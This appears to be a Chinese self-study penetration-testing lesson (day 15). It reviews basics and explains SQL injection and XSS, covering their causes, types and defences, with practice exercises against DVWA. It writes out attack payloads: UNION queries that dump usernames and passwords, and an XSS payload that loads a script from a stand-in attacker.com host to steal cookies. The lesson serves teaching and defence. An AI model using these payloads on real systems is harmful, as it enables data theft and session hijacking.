自学渗透测试第15天(基础复习与漏洞原理入门)

第6章 基础复习与漏洞原理入门(第15--17天)

6.1 周末复盘与SQL/XSS原理(第15天)

核心目标
  1. 系统性复盘:回顾第1-14天的核心知识点,形成结构化知识网络,查漏补缺。

  2. 掌握SQL注入原理:深入理解SQL注入漏洞的产生机制、分类、危害、利用手法及核心防御思想。

  3. 掌握XSS原理:深入理解跨站脚本攻击的产生机制、三种类型(反射型、存储型、DOM型)的区别、利用场景及核心防御思想。

模块一:周末复盘 - 构建知识体系
1.1 阶段一:基础与环境搭建(第1-8天)
  • 核心收获

    • 法律与流程:渗透测试必须在授权下进行,遵循PTES等标准流程。

    • Linux核心 :文件操作(cat, grep, find, awk, sed)、权限管理(chmod, sudo)、进程管理(ps, netstat)、Shell脚本。

    • Windows核心 :CMD命令(net user, systeminfo)、权限体系、注册表。

    • 网络基础:TCP/IP模型、HTTP/HTTPS协议、Wireshark抓包分析。

    • 工具入门:Burp Suite代理、拦截、重放的基本使用。

  • 关键联系:Linux/Windows是攻击的起点和终点;网络协议是通信的桥梁;Burp Suite是Web测试的武器。

1.2 阶段二:信息收集与侦察(第9-14天)
  • 核心收获

    • 主动侦察:Nmap端口扫描、子域名枚举、目录/文件爆破、服务/版本识别。

    • 被动侦察:Shodan/Censys网络空间搜索引擎、Maltego关联分析。

    • 指纹识别whatwebWappalyzer识别Web技术栈。

    • 自动化:使用Shell脚本将工具链串联,实现批量信息收集。

  • 关键联系:信息收集的广度和深度直接决定后续攻击的成功率。自动化是提升效率的关键。

1.3 知识图谱构建
  • 请绘制一张思维导图,将以下核心概念连接起来:

    • 中心:渗透测试流程(PTES七阶段)。

    • 分支1 :信息收集(工具:nmap, gobuster, shodan)。

    • 分支2:漏洞分析(原理:SQLi, XSS;工具:Burp Suite)。

    • 分支3:权限提升(Linux: SUID, sudo;Windows: 用户管理)。

    • 基础:Linux命令、Windows命令、网络协议、Shell脚本。

      复制代码
模块二:SQL注入漏洞原理深度解析
2.1 漏洞产生根源
  • 核心原因 :程序将用户输入的数据 ,未经充分过滤或转义,直接拼接到SQL查询语句中执行,导致攻击者可以改变原有查询逻辑。

  • 简单示例

    复制代码
    // 危险代码:用户输入直接拼接
    $id = $_GET['id']; // 用户输入:1' OR '1'='1
    $sql = "SELECT * FROM users WHERE id = '$id'";
    // 最终查询语句:SELECT * FROM users WHERE id = '1' OR '1'='1'
    // 条件永真,返回所有用户信息
2.2 SQL注入分类
  1. 按注入点类型

    • 数字型id=1-> id=1 AND 1=2

    • 字符型id='admin'-> id='admin' OR '1'='1

  2. 按数据返回方式

    • 联合查询注入 :利用UNION拼接查询,直接回显数据。

    • 报错注入 :利用数据库报错信息回显数据(如updatexml, extractvalue)。

    • 布尔盲注:通过页面返回的真/假状态(如内容存在/不存在)逐位推测数据。

    • 时间盲注 :通过执行延时函数(如sleep())判断条件真假。

  3. 按执行效果

  • 查询数据SELECT

  • 修改数据INSERT, UPDATE, DELETE

  • 数据库操作DROP TABLE, CREATE USER等。

2.3 利用思路与Payload构造
  • 探测注入点 :提交单引号'、注释符--/*,观察页面回显或报错。

  • 判断列数ORDER BY 5直到报错。

  • 联合查询UNION SELECT 1,2,3,@@version确定显示位。

  • 获取信息

    复制代码
    UNION SELECT 1, schema_name, 3 FROM information_schema.schemata  -- 查数据库名
    UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema='dvwa'  -- 查表名
    UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users'  -- 查列名
    UNION SELECT 1, concat(user, ':', password), 3 FROM dvwa.users  -- 查数据
2.4 危害与防御
  • 危害:数据库信息泄露、篡改、删除,甚至获取服务器权限。

  • 防御核心

  1. 使用预编译语句(参数化查询):分离代码与数据。

  2. 输入过滤与转义 :对特殊字符进行转义(如'-> \')。

  3. 最小权限原则:数据库连接账户使用最低必要权限。

  4. Web应用防火墙

模块三:跨站脚本攻击原理深度解析
3.1 漏洞产生根源
  • 核心原因 :程序将用户输入的数据 ,未经充分过滤或转义,直接输出到HTML页面中,浏览器将其误认为是脚本代码执行。

  • 简单示例

    复制代码
    <!-- 危险代码:用户输入直接输出 -->
    <div>您的搜索:<?php echo $_GET['keyword']; ?></div>
    <!-- 用户输入:<script>alert('XSS')</script> -->
    <!-- 最终输出:<div>您的搜索:<script>alert('XSS')</script></div> -->
3.2 XSS三种类型
  1. 反射型XSS

    • 特点 :Payload"反射"回浏览器执行,通常需要诱骗用户点击恶意链接。一次性的

    • 利用场景:搜索框、错误消息页。

  2. 存储型XSS

    • 特点 :Payload存储在服务器(数据库、文件),当其他用户访问相关页面时自动执行。持久性的

    • 利用场景:留言板、用户昵称、论坛发帖。

  3. DOM型XSS

  • 特点:漏洞位于前端JavaScript代码中,Payload不发送到服务器,在客户端被解析执行。

  • 关键函数document.write, innerHTML, eval, location.hash等。

3.3 利用思路与Payload构造
  • 探测XSS :提交<script>alert(1)</script><img src=x onerror=alert(1)>等,观察是否弹窗。

  • 常见Payload

    复制代码
    <script>alert(document.cookie)</script>  <!-- 窃取Cookie -->
    <img src=x οnerrοr="s=createElement('script');s.src='http://attacker.com/steal.js';body.appendChild(s);"> <!-- 加载远程脚本 -->
  • 利用框架:BeEF,用于控制被攻击者浏览器。

3.4 危害与防御
  • 危害:窃取用户Cookie、会话劫持、钓鱼、键盘记录、传播恶意软件。

  • 防御核心

  1. 输出编码/转义:根据输出上下文(HTML、JavaScript、CSS、URL)进行相应编码。

  2. 内容安全策略 :设置Content-Security-Policy头,限制脚本加载源。

  3. 输入过滤 :对<, >, &, ", '等危险字符进行过滤或转义。

  4. 使用安全的API :避免使用innerHTML,使用textContent

模块四:当日达标实战任务
4.1 复盘与自查
  1. 绘制知识图谱:完成模块1.3中的思维导图绘制,确保每个知识点之间有清晰的逻辑关联。

  2. 命令盲测:在不查看笔记的情况下,尝试写出完成以下任务的命令:

  • 查找/etc目录下所有.conf文件。

  • 实时监控/var/log/auth.log中"Failed password"的日志行。

  • 使用nmap扫描192.168.1.0/24网段存活主机,并识别80端口服务版本。

4.2 SQL注入原理验证
  1. 搭建测试环境 :在DVWA中,将安全级别设为Low,进入SQL Injection模块。

  2. 手工注入练习

  • 输入1,观察正常回显。

  • 输入1',观察报错信息,理解漏洞存在。

  • 输入1' OR '1'='1,验证注入成功,返回所有用户。

  • 尝试使用UNION SELECT查询数据库版本和当前用户。

4.3 XSS原理验证
  1. 反射型XSS :在DVWA的XSS (Reflected)模块,输入<script>alert('XSS')</script>,观察弹窗。

  2. 存储型XSS :在DVWA的XSS (Stored)模块,在留言板输入XSS Payload,提交后刷新页面或新开页面,观察弹窗。

  3. 分析区别:对比两种XSS,理解"反射"与"存储"的含义。

模块五:常见问题与解决方案
5.1 原理理解难点
  • SQL注入中,为什么'--是测试关键'用于闭合字符串,--用于注释掉后续SQL代码,这两者能最直接地改变SQL语句结构。

  • DOM型XSS和反射型XSS易混淆:关键看Payload是否经过服务器。反射型XSS的Payload在请求参数中,服务器会将其返回;DOM型XSS的Payload在前端JS中处理,可能不会发送到服务器。

5.2 实践误区
  • 只关注自动化工具sqlmap等工具虽然强大,但必须理解手工注入原理,才能应对WAF、过滤等情况。

  • XSS测试只会用alert(1):这只是最基本的探测。真实利用需要构造窃取Cookie、钓鱼等复杂Payload,并理解同源策略、CORS等限制。


明日预告 :第16天将学习Linux文本处理进阶 ,深入掌握awksed这两个强大的流式文本编辑器,用于高效地处理扫描结果、日志分析和数据格式化,这是专业渗透测试工程师的必备技能。

相关推荐
AlfredZhao25 分钟前
OCI 明明分配了 200G 系统盘,为什么 df 只看到 30G?
linux·oci
AlfredZhao15 小时前
vi 删除指定范围的行,不用再反复按 dd
linux·vi
用户97183563346621 小时前
银河麒麟 KY10 申威(SW64) 安装 nginx-1.16.1-2.p01.ky10.sw_64.rpm 详细步骤
linux
猪脚踏浪1 天前
linux 拷贝文件或目录到指定的位置
linux
摇滚侠2 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
bush42 天前
嵌入式linux学习记录十四、术语
linux·嵌入式
载数而行5202 天前
Linux 11 动态监控指令top
linux
不会C语言的男孩2 天前
Linux 系统编程 · 第 8 章:进程基础
linux·c语言
古城小栈2 天前
Unix 与 Linux 异同小叙
linux·服务器·unix
零零信安2 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安